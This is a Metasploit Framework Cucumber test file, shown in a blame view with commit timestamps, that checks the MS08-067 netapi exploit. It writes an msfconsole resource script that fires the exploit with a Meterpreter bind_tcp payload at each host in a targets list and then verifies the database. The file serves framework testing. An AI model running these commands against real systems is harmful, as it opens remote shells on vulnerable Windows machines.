metasploit-framework/features/modules/exploit/smb/ms08_067_netapi.feature

27 lines
921 B
Gherkin
Raw Normal View History

@targets @db
2014-08-13 21:54:29 +00:00
Feature: MS08-067 netapi
Background:
Given a directory named "home"
And I cd to "home"
And a mocked home directory
2015-12-30 20:57:41 +00:00
Scenario: The MS08-067 should get a session with bind_tcp
Given I ready the windows targets
2016-02-04 19:37:36 +00:00
Given a file named "ms08-067-bind.rc" with:
"""
2015-12-30 20:57:41 +00:00
<ruby>
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
self.run_single('use exploit/windows/smb/ms08_067_netapi')
self.run_single('set payload windows/meterpreter/bind_tcp')
hosts.each do |host|
2016-02-04 19:37:36 +00:00
self.run_single("set RHOST #{host['ipAddress']}")
self.run_single('run -j')
2015-12-30 20:57:41 +00:00
sleep 1
end
self.run_single('sessions -K')
2015-12-30 20:57:41 +00:00
</ruby>
"""
2016-02-04 19:37:36 +00:00
When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit`
2016-02-25 19:26:11 +00:00
Then the 'Mdm::Host' table contains the expected targets
2016-02-04 19:37:36 +00:00